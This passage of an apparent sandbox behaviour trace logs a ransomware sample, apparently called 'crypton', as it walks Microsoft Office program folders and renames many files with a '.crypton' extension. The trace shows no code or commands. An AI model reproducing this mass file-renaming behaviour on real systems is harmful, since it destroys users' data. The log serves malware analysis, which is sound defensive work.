cAlternateFileName="")) returned 0x549810 [0098.198] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.crypton"), dwFlags=0x2) returned 1 [0098.202] GetFileType (hFile=0x190) returned 0x1 [0098.206] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1036\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7e49b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb7e49b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0098.208] GetFileType (hFile=0x190) returned 0x1 [0098.212] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\3082\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7e49b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb7e49b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0098.217] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7e6fc80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb7e6fc80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0098.220] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp.crypton"), dwFlags=0x2) returned 1 [0098.228] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7e6fc80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb7e6fc80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0098.531] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.crypton"), dwFlags=0x2) returned 1 [0098.816] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.crypton"), dwFlags=0x2) returned 1 [0099.115] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.crypton"), dwFlags=0x2) returned 1 [0099.121] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8710c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb8710c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0099.124] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.crypton"), dwFlags=0x2) returned 1 [0099.127] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml.crypton"), dwFlags=0x2) returned 1 [0099.130] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.crypton"), dwFlags=0x2) returned 1 [0099.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.crypton"), dwFlags=0x2) returned 1 [0099.138] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.crypton"), dwFlags=0x2) returned 1 [0099.140] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.crypton"), dwFlags=0x2) returned 1 [0099.148] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8736da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb8736da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0099.148] GetFileType (hFile=0x198) returned 0x1 [0099.153] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb875cf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb875cf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0099.157] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb875cf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb875cf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0099.163] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb875cf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb875cf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0099.168] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8783060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb8783060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0099.173] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8783060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb8783060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0099.177] GetFileType (hFile=0x190) returned 0x1 [0099.189] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb87a91c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb87a91c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0099.190] GetFileType (hFile=0x198) returned 0x1 [0099.195] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb87a91c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb87a91c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0099.196] GetFileType (hFile=0x174) returned 0x1 [0099.200] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb87cf320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb87cf320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0099.490] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx.crypton"), dwFlags=0x2) returned 1 [0099.973] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat.crypton"), dwFlags=0x2) returned 1 [0099.996] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat.crypton"), dwFlags=0x2) returned 1 [0100.063] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml.crypton"), dwFlags=0x2) returned 1 [0100.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml.crypton"), dwFlags=0x2) returned 1 [0100.123] GetFileType (hFile=0x190) returned 0x1 [0100.128] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9096440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb9096440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0100.132] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb90bc5a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb90bc5a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0100.139] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.crypton"), dwFlags=0x2) returned 1 [0100.143] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.crypton"), dwFlags=0x2) returned 1 [0100.146] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.crypton"), dwFlags=0x2) returned 1 [0100.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.crypton"), dwFlags=0x2) returned 1 [0100.154] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.crypton"), dwFlags=0x2) returned 1 [0100.159] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.crypton"), dwFlags=0x2) returned 1 [0100.171] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.crypton"), dwFlags=0x2) returned 1 [0100.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.crypton"), dwFlags=0x2) returned 1 [0100.225] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.crypton"), dwFlags=0x2) returned 1 [0100.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.crypton"), dwFlags=0x2) returned 1 [0100.233] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.crypton"), dwFlags=0x2) returned 1 [0100.236] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.crypton"), dwFlags=0x2) returned 1 [0100.239] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.crypton"), dwFlags=0x2) returned 1 [0100.243] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.crypton"), dwFlags=0x2) returned 1 [0100.246] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.crypton"), dwFlags=0x2) returned 1 [0100.250] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.crypton"), dwFlags=0x2) returned 1 [0100.256] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.crypton"), dwFlags=0x2) returned 1 [0100.260] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.crypton"), dwFlags=0x2) returned 1 [0100.264] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.crypton"), dwFlags=0x2) returned 1 [0100.268] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.crypton"), dwFlags=0x2) returned 1 [0100.272] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.crypton"), dwFlags=0x2) returned 1 [0100.276] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.crypton"), dwFlags=0x2) returned 1 [0100.281] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.crypton"), dwFlags=0x2) returned 1 [0100.285] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.crypton"), dwFlags=0x2) returned 1 [0100.288] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.crypton" (normalized: "c:\\program files\\microsoft 